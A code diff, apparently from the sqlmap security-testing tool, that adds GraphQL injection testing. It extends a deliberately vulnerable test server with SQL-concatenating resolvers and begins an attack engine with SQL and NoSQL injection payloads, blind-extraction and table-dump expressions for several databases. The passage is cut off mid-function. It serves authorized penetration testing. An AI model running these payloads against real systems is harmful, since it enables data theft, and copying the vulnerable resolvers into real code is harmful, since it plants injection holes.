c5b258be7485089fac9d9cd179960e774fbd85e62836dc67cce76cc028bb6aeb lib/parse/handler.py 5c9a9caee948843d5537745640cc7b98d70a0412cc0949f59d4ebe8b2907c06c lib/parse/headers.py @@ -239,6 +239,8 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques 74ca78082dcd20b3faf07cc944cd65ea552996df40e6fb58d0a011b262528456 lib/techniques/dns/use.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py 5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py +1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py +a1c5ec208843eb93e0fab40daac090aa3bf914a7dd0afb0f7c55c2db4db8d72b lib/techniques/graphql/inject.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py 44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py d62b28bf9f1544e65a1017994402f484166f4d64a1efb724351b15e27b851990 lib/techniques/nosql/inject.py @@ -594,6 +596,7 @@ ed5a0e453b811dc3dcc5ca28e14a9d7552aacaa7e316e1bca1b042dc5939e204 tests/test_dns 9cd5841349bc4db818658d12184929a96f7f279eff1f53ad18a54dbefbd6b276 tests/test_dump_jsonl.py 2bbe4b01f79992cfa8884651fc0a28dbd0e3abb0cbea9eb7eadf1f98ca3c3420 tests/test_encoding.py bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_error_engine.py +4a5f9392b7fec7b40c4d865b83306b58b76f3423cebc2876e6e75fb91b037202 tests/test_graphql.py 8105de9978fe286a29f6b635a58db1e9998d86e8dded54d7efdfb9d52a121094 tests/test_hashdb.py c04e8358fb6df45f69f2f26435c971acde280535bf304e84d30cf2681158c6a7 tests/test_hash.py d539d0ae758b5bb91e314ab82ab4fe03d6fb2f8b377d16aefa6d7d1d77a7d5a9 tests/test_identifiers_output.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 25e4bb3a9..c13a95526 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -246,6 +246,232 @@ def waf_score(value, ua=None, level=0): retVal += WAF_SCANNER_UA_WEIGHT return retVal +# --- GraphQL endpoint (vulnerable Apollo-style, backed by the same SQLite database) ---------- + +# Hard-coded introspection response matching the schema below. Every GraphQL tool (including +# sqlmap's --graphql engine) uses this to discover fields, arguments, and types. +def _graphql_introspection(): + return { + "data": { + "__schema": { + "queryType": {"name": "Query"}, + "mutationType": {"name": "Mutation"}, + "subscriptionType": None, + "directives": [], + "types": [ + {"kind": "OBJECT", "name": "Query", "fields": [ + {"name": "user", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + {"name": "search", "args": [ + {"name": "term", "defaultValue": None, "type": {"kind": "SCALAR", "name": "String", "ofType": None}} + ], "type": {"kind": "LIST", "name": None, "ofType": {"kind": "OBJECT", "name": "User", "ofType": None}}}, + {"name": "login", "args": [ + {"name": "username", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}}, + {"name": "password", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "AuthPayload", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "Mutation", "fields": [ + {"name": "updateUser", "args": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "INPUT_OBJECT", "name": "UpdateUserInput", "inputFields": [ + {"name": "id", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "Int", "ofType": None}}}, + {"name": "email", "defaultValue": None, "type": {"kind": "NON_NULL", "name": None, "ofType": {"kind": "SCALAR", "name": "String", "ofType": None}}} + ]}, + {"kind": "SCALAR", "name": "Int"}, + {"kind": "SCALAR", "name": "String"}, + {"kind": "SCALAR", "name": "Boolean"}, + {"kind": "SCALAR", "name": "Float"}, + {"kind": "SCALAR", "name": "ID"}, + {"kind": "OBJECT", "name": "User", "fields": [ + {"name": "id", "args": [], "type": {"kind": "SCALAR", "name": "Int", "ofType": None}}, + {"name": "name", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "surname", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + {"kind": "OBJECT", "name": "AuthPayload", "fields": [ + {"name": "token", "args": [], "type": {"kind": "SCALAR", "name": "String", "ofType": None}}, + {"name": "user", "args": [], "type": {"kind": "OBJECT", "name": "User", "ofType": None}}, + ], "inputFields": None, "enumValues": None}, + ] + } + } + } + + +def _graphql_arg(raw): + """Parse a single GraphQL argument value: strip quotes from strings, keep numbers as-is""" + raw = raw.strip() + if raw.startswith('"') and raw.endswith('"'): + return raw[1:-1].replace('\\"', '"') + return raw + + +def _graphql_match(text, start): + """Index just past the bracket matching the one at text[start] ('(' or '{'), skipping over + double-quoted strings so brackets inside argument literals (e.g. an injected SQL payload) and + nested selection sets do not throw off the balance.""" + + pairs = {'(': ')', '{': '}'} + opener, closer = text[start], pairs[text[start]] + depth, i, n = 0, start, len(text) + while i < n: + char = text[i] + if char == '"': + i += 1 + while i < n and text[i] != '"': + i += 2 if text[i] == '\\' else 1 + elif char == opener: + depth += 1 + elif char == closer: + depth -= 1 + if depth == 0: + return i + 1 + i += 1 + return n + + +def _graphql_selections(body): + """Split a selection set into its top-level (alias, field, rawArgs) fields, tolerating aliasing, + argument literals carrying brackets/quotes, and nested selection sets (which are skipped over).""" + + identifier = re.compile(r'[A-Za-z_]\w*') + selections, i, n = [], 0, len(body) + while i < n: + while i < n and body[i] in ' \t\r\n,': + i += 1 + match = identifier.match(body, i) + if not match: + i += 1 + continue + name, i = match.group(0), match.end() + + j = i + while j < n and body[j] in ' \t\r\n': + j += 1 + if j < n and body[j] == ':': # 'name' was an alias; the real field follows + j += 1 + while j < n and body[j] in ' \t\r\n': + j += 1 + match = identifier.match(body, j) + if not match: + continue + alias, field, i = name, match.group(0), match.end() + else: + alias, field = None, name + + while i < n and body[i] in ' \t\r\n': + i += 1 + rawArgs = "" + if i < n and body[i] == '(': + end = _graphql_match(body, i) + rawArgs, i = body[i + 1:end - 1], end + + while i < n and body[i] in ' \t\r\n': + i += 1 + if i < n and body[i] == '{': # skip this field's (possibly nested) selection set + i = _graphql_match(body, i) + + selections.append((alias, field, rawArgs)) + return selections + + +def _graphql_resolve(query, variables): + """Minimal GraphQL resolver: parse the query, call the matching resolver for each top-level field, + and return (data_dict_or_None, errors_list). Multiple aliased fields are supported in one request + (alias:field(args){...} ...), so a client can batch independent probes into a single round-trip.""" + + variables = variables or {} + errors = [] + data = {} + + op = "query" + for keyword in ("mutation", "subscription"): + if query.strip().startswith(keyword): + op = keyword + break + + start = query.find('{') + if start == -1: + errors.append({"message": "Cannot parse query", "extensions": {"code": "GRAPHQL_PARSE_FAILED"}}) + return None, errors + + for alias, field, rawArgs in _graphql_selections(query[start + 1:_graphql_match(query, start) - 1]): + key = alias or field + + # Parse arguments + args = {} + for am in re.finditer(r'(\w+)\s*:\s*("(?:[^"\\]|\\.)*"|\$?\w+(?:\.\w+)?)', rawArgs): + name, val = am.group(1), am.group(2) + if val.startswith('$'): + args[name] = variables.get(val[1:], None) + else: + args[name] = _graphql_arg(val) + + try: + if field in ("__typename", "__schema"): + data[key] = op.title() + elif field == "user": + data[key] = _resolver_user(args.get("username")) + elif field == "search": + data[key] = _resolver_search(args.get("term")) + elif field == "login": + data[key] = _resolver_login(args.get("username"), args.get("password")) + elif field == "updateUser": + data[key] = _resolver_updateUser(args.get("id"), args.get("email")) + else: + errors.append({"message": "Cannot query field '%s' on type '%s'. Did you mean 'user', 'search', 'login', or 'updateUser'?" % (field, op.title()), + "extensions": {"code": "GRAPHQL_VALIDATION_FAILED"}}) + except Exception as ex: + # Leak the backend error through the GraphQL error envelope (as many real servers do + # in development mode) -- this drives error-based detection + errors.append({"message": "%s: %s" % (re.search(r"'([^']+)'", str(type(ex))).group(1), ex), + "path": [key], "extensions": {"exception": str(ex)}}) + + if not data and not errors: + return None, errors + return data, errors + + +# --- Vulnerable resolvers (direct string concatenation into SQLite) ------------------------ + +def _resolver_user(username): + if not username: + return None + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name='%s'" % username) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + +def _resolver_search(term): + with _lock: + _cursor.execute("SELECT id, name, surname FROM users WHERE name LIKE '%%%s%%'" % (term or "")) + rows = _cursor.fetchall() + return [{"id": r[0], "name": r[1], "surname": r[2]} for r in (rows or [])] + + +def _resolver_login(username, password): + if not username or not password: + return None + with _lock: + _cursor.execute("SELECT u.id, u.name, u.surname FROM users u JOIN creds c ON u.id=c.user_id WHERE u.name='%s' AND c.password_hash='%s'" % (username, password)) + row = _cursor.fetchone() + if row: + return {"token": "tok_%d_%s" % (row[0], row[1]), "user": {"id": row[0], "name": row[1], "surname": row[2]}} + return None # returns null in data (boolean oracle: true=object, false=null) + + +def _resolver_updateUser(id_, email): + with _lock: + _cursor.execute("UPDATE users SET surname='%s' WHERE id=%s" % (email, id_)) + _cursor.execute("SELECT id, name, surname FROM users WHERE id=%s" % id_) + row = _cursor.fetchone() + return {"id": row[0], "name": row[1], "surname": row[2]} if row else None + + class ReqHandler(BaseHTTPRequestHandler): def do_REQUEST(self): path, query = self.path.split('?', 1) if '?' in self.path else (self.path, "") @@ -339,6 +565,35 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url == "/graphql": + self.send_response(OK) + self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + + query = self.params.get("query", "") + variables = self.params.get("variables") or {} + + if not isinstance(variables, dict): + try: + variables = json.loads(str(variables)) + except Exception: + variables = {} + + if "__schema" in query: + output = json.dumps(_graphql_introspection()) + else: + data, errors = _graphql_resolve(query, variables) + resp = {} + if errors: + resp["errors"] = errors + if data: + resp["data"] = data + output = json.dumps(resp, default=str) + + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == '/': if not any(_ in self.params for _ in ("id", "query")): self.send_response(OK) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 128b4123d..6a9fa8d34 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -79,6 +79,7 @@ from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DUMMY_NON_SQLI_CHECK_APPENDIX from lib.core.settings import FI_ERROR_REGEX from lib.core.settings import FORMAT_EXCEPTION_STRINGS +from lib.core.settings import GRAPHQL_ERROR_REGEX from lib.core.settings import HEURISTIC_CHECK_ALPHABET from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import IPS_WAF_CHECK_PAYLOAD @@ -1178,6 +1179,13 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.graphql and re.search(GRAPHQL_ERROR_REGEX, page or ""): + infoMsg = "heuristic (GraphQL) test shows that %sparameter '%s' appears to be a GraphQL endpoint (rerun with switch '--graphql')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + + if conf.beep: + beep() + kb.disableHtmlDecoding = False kb.heuristicMode = False diff --git a/lib/controller/controller.py b/lib/controller/controller.py index 328575376..7b5b0dff3 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -504,8 +504,21 @@ def start(): infoMsg = "testing URL '%s'" % targetUrl logger.info(infoMsg) + if conf.graphql and PLACE.GET not in conf.parameters: + # graphqlScan() is self-contained and operates on the GraphQL + # document, not on HTTP parameters. A dummy GET parameter keeps + # _setRequestParams() from appending the URI injection marker ('*') + # to a bare endpoint URL (which would break detection under + # '--batch'); it is discarded by graphqlScan() on entry. + conf.parameters[PLACE.GET] = "x" + setupTargetEnv() + if conf.graphql: + from lib.techniques.graphql.inject import graphqlScan + graphqlScan() + continue + if not checkConnection(suppressOutput=conf.forms): continue diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index ffb03d3fe..42c187c89 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -119,6 +119,7 @@ optDict = { "Techniques": { "technique": "string", "nosql": "boolean", + "graphql": "boolean", "timeSec": "integer", "uCols": "string", "uChar": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 6ad6cb33d..ec1d36c15 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.6.160" +VERSION = "1.10.6.161" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -877,6 +877,68 @@ NOSQL_MAX_RECORDS = 100 # Upper bound for the length search during NoSQL blind extraction NOSQL_MAX_LENGTH = 1024 +# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql) +GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/graphql/api", "/graph", "/gql") + +# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the +# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their +# fields/arguments/inputFields with type chains, directives, and deprecation metadata. +GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap { + __schema { + queryType { name } + mutationType { name } + subscriptionType { name } + directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } } + types { + kind + name + fields(includeDeprecated: true) { + name + args { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + type { kind name ofType { kind name ofType { kind name } } } + } + inputFields { + name + defaultValue + type { kind name ofType { kind name ofType { kind name ofType { kind name } } } } + } + enumValues(includeDeprecated: true) { name } + specifiedByURL + } + } +}""" + +# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse, +# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based +# detection inside the GraphQL engine. +GRAPHQL_PARSE_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"', + r"\bSyntax Error:\s*[^\"]", + r"\bExpected Name,\s*found\b", + r"\bUnexpected\s+\b", +) +GRAPHQL_VALIDATION_ERRORS = ( + r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"', + r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"", + r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"", + r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b", + r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b", + r"\bExpected type\s+[^,]+,\s*found\b", + r"\bDid you mean\s+\"[^\"]+\"\b", +) +GRAPHQL_APQ_ERRORS = ( + r"\bPersistedQueryNotFound\b", + r"\bPersistedQueryNotSupported\b", +) +GRAPHQL_RUNTIME_ERRORS = ( + r"\bGraphQL\s+(?:resolver\s+)?error\b", +) +GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS) + # Length of prefix and suffix used in non-SQLI heuristic checks NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6 diff --git a/lib/core/testing.py b/lib/core/testing.py index 0d9a084e7..d727f8cbf 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -89,6 +89,7 @@ def vulnTest(): ("-u -z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT * FROM users\"", ("SELECT * FROM users [30]", "nameisnull")), ("-u \"&echo=foobar*\" --flush-session", ("might be vulnerable to cross-site scripting",)), ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction + ("-u \"graphql\" --graphql --flush-session", ("found GraphQL endpoint", "introspection returned", "skipping 2 mutation slot", "GraphQL boolean-based blind", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "available tables [2]: users, creds", "dumped table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "graphql scan complete")), # GraphQL: endpoint detection + introspection + mutation-skip + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"&query=*\" --flush-session --technique=Q --banner", ("Title: SQLite inline queries", "banner: '3.")), ("-d \"\" --flush-session --dump -T creds --dump-format=SQLITE --binary-fields=password_hash --where \"user_id=5\"", ("3137396164343563366365326362393763663130323965323132303436653831", "dumped to SQLITE database")), ("-d \"\" --flush-session --banner --schema --sql-query=\"UPDATE users SET name='foobar' WHERE id=4; SELECT * FROM users; SELECT 987654321\"", ("banner: '3.", "INTEGER", "TEXT", "id", "name", "surname", "4,foobar,nameisnull", "'987654321'",)), diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c6e4205ab..42f67f7bc 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -418,6 +418,9 @@ def cmdLineParser(argv=None): techniques.add_argument("--nosql", dest="nosql", action="store_true", help="Test for NoSQL injection (e.g. MongoDB, CouchDB, Neo4j)") + techniques.add_argument("--graphql", dest="graphql", action="store_true", + help="Test for GraphQL injection (introspection, field/argument fuzzing, SQL/NoSQL payload families)") + techniques.add_argument("--time-sec", dest="timeSec", type=int, help="Seconds to delay the DBMS response (default %d)" % defaults.timeSec) diff --git a/lib/techniques/graphql/__init__.py b/lib/techniques/graphql/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/graphql/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/graphql/inject.py b/lib/techniques/graphql/inject.py new file mode 100644 index 000000000..f240443d0 --- /dev/null +++ b/lib/techniques/graphql/inject.py @@ -0,0 +1,1165 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +import difflib +import json +import re +import time + +from collections import namedtuple +from collections import OrderedDict + +from lib.core.common import randomStr +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import POST_HINT +from lib.core.settings import ERROR_PARSING_REGEXES +from lib.core.settings import GRAPHQL_ENDPOINT_PATHS +from lib.core.settings import GRAPHQL_ERROR_REGEX +from lib.core.settings import GRAPHQL_INTROSPECTION_QUERY +from lib.core.settings import NOSQL_ERROR_REGEX +from lib.core.settings import UPPER_RATIO_BOUND +from lib.request.connect import Connect as Request +from lib.utils.xrange import xrange + +# Improbable literal used to build always-true/never-match payloads. Randomized per run (like +# NOSQL_SENTINEL) so it never becomes a static signature a WAF can pin a blocking rule on. +SENTINEL = randomStr(length=10, lowercase=True) + +# Maximum characters recovered for a single blind-inferred scalar (banner, user, table list, ...) +MAX_LENGTH = 1024 + +# Higher ceiling for a whole-table dump (its rows are concatenated into one scalar before extraction) +DUMP_MAX_LENGTH = 8192 + +# Printable-ASCII codepoint bounds for blind character inference +CHAR_MIN = 0x20 +CHAR_MAX = 0x7e + +# Number of independent predicates packed into a single aliased GraphQL document (batched inference) +BATCH_SIZE = 40 + +# Column/row separators woven into a GROUP_CONCAT/STRING_AGG table dump (printable, improbable in data) +COL_SEP = "~~~" +ROW_SEP = "^^^" + +# GraphQL scalar types mapped to injection strategy (None = skip) +SCALAR_STRATEGY = { + "String": "string", + "ID": "id_dual", + "Int": "numeric", + "Float": "numeric", +} + +# SQL error-inducing payloads (probe for backend DBMS leakage through the GraphQL errors envelope) +_SQL_ERROR_PAYLOADS = ("'", "''", "'\"", "')", "1') OR ('1'='1") + +# Preliminary SQL boolean-blind probes +_SQL_BOOLEAN_TRUE = "' OR '1'='1" +_SQL_BOOLEAN_FALSE = "' AND '1'='2" + +# NoSQL operator probes (for NoSQL-backed GraphQL resolvers) +_NOSQL_NE = '{"$ne": null}' +_NOSQL_IN = '{"$in": ["%s"]}' % SENTINEL + +# Minimum content difference for a boolean oracle to be considered reliable +_MIN_RATIO_DIFF = 0.15 + +# Cache for INPUT_OBJECT field definitions, populated during schema walks +_inputFields = {} + + +# --- Backend SQL dialect table ---------------------------------------------- + +# Per-DBMS building blocks for blind inference and enumeration, driven by the boolean/time oracle +# established on a slot. `fingerprint` is a predicate true only on that back-end (it errors -> falsy +# elsewhere). `length`/`ordinal` render a scalar-extraction sub-expression. `delay` wraps a condition +# in an inline conditional sleep (None where the engine offers none, e.g. SQLite). `banner`/ +# `currentUser`/`currentDb`/`tables` are generic enumeration scalars; `columns`/`rows` build the +# per-table column list and a single-scalar dump of every row (cells joined COL_SEP, rows ROW_SEP). +Dialect = namedtuple("Dialect", ("fingerprint", "length", "ordinal", "delay", + "banner", "currentUser", "currentDb", + "tables", "columns", "rows")) + + +def _sqliteRows(columns, table): + cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] + body = ("||'%s'||" % COL_SEP).join(cells) + return "(SELECT GROUP_CONCAT(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +def _mysqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS CHAR),'NULL')" % _ for _ in columns] + body = "CONCAT_WS('%s',%s)" % (COL_SEP, ",".join(cells)) + return "(SELECT GROUP_CONCAT(%s SEPARATOR '%s') FROM %s)" % (body, ROW_SEP, table) + + +def _pgsqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS TEXT),'NULL')" % _ for _ in columns] + body = ("||'%s'||" % COL_SEP).join(cells) + return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +def _mssqlRows(columns, table): + cells = ["COALESCE(CAST(%s AS VARCHAR(MAX)),'NULL')" % _ for _ in columns] + body = ("+'%s'+" % COL_SEP).join(cells) + return "(SELECT STRING_AGG(%s,'%s') FROM %s)" % (body, ROW_SEP, table) + + +DIALECTS = OrderedDict(( + ("SQLite", Dialect( + fingerprint="SQLITE_VERSION() IS NOT NULL", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "UNICODE(SUBSTR((%s),%d,1))" % (expr, pos), + delay=None, + banner="SQLITE_VERSION()", + currentUser=None, + currentDb=None, + tables="(SELECT GROUP_CONCAT(name) FROM sqlite_master WHERE type='table' AND name NOT LIKE 'sqlite_%')", + columns=lambda table: "(SELECT GROUP_CONCAT(name) FROM pragma_table_info('%s'))" % table, + rows=_sqliteRows)), + ("Microsoft SQL Server", Dialect( + fingerprint="@@VERSION LIKE '%Microsoft%'", + length=lambda expr: "LEN((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=None, + banner="@@VERSION", + currentUser="SYSTEM_USER", + currentDb="DB_NAME()", + tables="(SELECT STRING_AGG(name,',') FROM sys.tables)", + columns=lambda table: "(SELECT STRING_AGG(name,',') FROM sys.columns WHERE object_id=OBJECT_ID('%s'))" % table, + rows=_mssqlRows)), + ("PostgreSQL", Dialect( + fingerprint="(SELECT version()) LIKE 'PostgreSQL%'", + length=lambda expr: "LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "(CASE WHEN (%s) THEN (SELECT 1 FROM pg_sleep(%d)) ELSE 0 END)" % (cond, secs), + banner="version()", + currentUser="CURRENT_USER", + currentDb="CURRENT_DATABASE()", + tables="(SELECT STRING_AGG(table_name,',') FROM information_schema.tables WHERE table_schema='public')", + columns=lambda table: "(SELECT STRING_AGG(column_name,',') FROM information_schema.columns WHERE table_name='%s')" % table, + rows=_pgsqlRows)), + ("MySQL", Dialect( + fingerprint="@@VERSION_COMMENT IS NOT NULL", + length=lambda expr: "CHAR_LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "IF((%s),SLEEP(%d),0)" % (cond, secs), + banner="VERSION()", + currentUser="CURRENT_USER()", + currentDb="DATABASE()", + tables="(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())", + columns=lambda table: "(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='%s')" % table, + rows=_mysqlRows)), +)) + + +# --- Slot model ------------------------------------------------------------- + +# Carries everything needed to build a valid GraphQL document for one argument +# injection point: the root operation (query/mutation), the full field argument +# list (so required siblings can be defaulted), the target argument name, the +# injection strategy, and return-type metadata for a correct selection set. +Slot = namedtuple("Slot", ("operation", "parentType", "fieldName", "allArgs", + "targetArg", "strategy", "returnKind", "returnType", + "returnSel")) + + +# --- Helpers ---------------------------------------------------------------- + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _chunks(sequence, size): + # Yield successive `size`-length chunks of `sequence` + for index in xrange(0, len(sequence), size): + yield sequence[index:index + size] + + +def _unwrapType(typeObj, depth=0): + # Traverse a GraphQL type chain, returning [(kind, name), ...] from outermost + # to innermost. NON_NULL and LIST wrappers are unwrapped transparently; named + # types terminate the chain. + if depth > 8 or not isinstance(typeObj, dict): + return [] + kind = typeObj.get("kind", "") + name = typeObj.get("name") + ofType = typeObj.get("ofType") + if ofType and kind in ("NON_NULL", "LIST"): + return [(kind, name)] + _unwrapType(ofType, depth + 1) + return [(kind, name)] + + +def _leafName(chain): + # Last named type in the unwrapped chain (strips NON_NULL / LIST wrappers) + for kind, name in reversed(chain): + if name: + return name + return None + + +def _classifyArg(argType): + # Map a GraphQL argument type to a strategy key, or None for skipped types + chain = _unwrapType(argType) + named = next((name for kind, name in reversed(chain) if name), None) + return SCALAR_STRATEGY.get(named) + + +def _escapeGraphQLString(value): + # Escape a string for embedding inside a double-quoted GraphQL string literal + return getUnicode(value).replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") + + +def _cell(value): + # Render a parsed JSON value as a single dump cell: NULL for null, compact JSON + # for nested objects/arrays (never the Python repr), and the plain text otherwise + if value is None: + return "NULL" + if isinstance(value, (dict, list)): + return json.dumps(value, sort_keys=True) + return "%s" % (value,) + + +# --- HTTP transport --------------------------------------------------------- + +def _gqlSend(endpoint, query, variables=None): + # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + body = {"query": query} + if variables: + body["variables"] = variables + oldPostHint = getattr(kb, "postHint", None) + try: + kb.postHint = POST_HINT.JSON + page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), + raise404=False, silent=True) + except Exception: + return "", 0 + finally: + kb.postHint = oldPostHint + return page or "", code + + +def _parseJSON(page): + if not page: + return None + try: + return json.loads(page) + except (ValueError, TypeError): + return None + + +def _isGraphQLResponse(page): + # Does `page` look like a GraphQL JSON response envelope? Requires either + # __typename data or GraphQL-specific error phrasing to avoid false positives + # on ordinary JSON APIs. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return False + data = doc.get("data") + if isinstance(data, dict) and data.get("__typename"): + return True + errors = doc.get("errors") + if isinstance(errors, list) and errors: + return bool(re.search(GRAPHQL_ERROR_REGEX, json.dumps(errors))) + return False + + +def _errorText(page): + # Extract a concatenated error-message string from a GraphQL error envelope + doc = _parseJSON(page) + if not isinstance(doc, dict): + return "" + errors = doc.get("errors") or [] + parts = [] + for e in errors: + if isinstance(e, dict): + parts.append(getUnicode(e.get("message", ""))) + ext = e.get("extensions") + if isinstance(ext, dict): + parts.append(getUnicode(ext.get("code", ""))) + exception = ext.get("exception") + if isinstance(exception, (str, bytes)): + parts.append(getUnicode(exception)) + return "\n".join(p for p in parts if p) + + +def _slotValue(page): + # Extract the first `data` subtree for boolean comparison - we compare the + # resolved field content, not the whole GraphQL envelope. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return page + data = doc.get("data") + if isinstance(data, dict): + for v in data.values(): + if v is not None: + return json.dumps(v, sort_keys=True) + return json.dumps(data, sort_keys=True) + + +# --- Endpoint detection ----------------------------------------------------- + +def _detectEndpoint(baseUrl, probePaths=True): + # Identify the GraphQL endpoint URL. If `baseUrl` already points at a path + # that responds as GraphQL, return it directly. Otherwise probe common paths. + + page, code = _gqlSend(baseUrl, "{__typename}") + if _isGraphQLResponse(page): + return baseUrl, page + + if not probePaths: + return None, None + + for path in GRAPHQL_ENDPOINT_PATHS: + candidate = 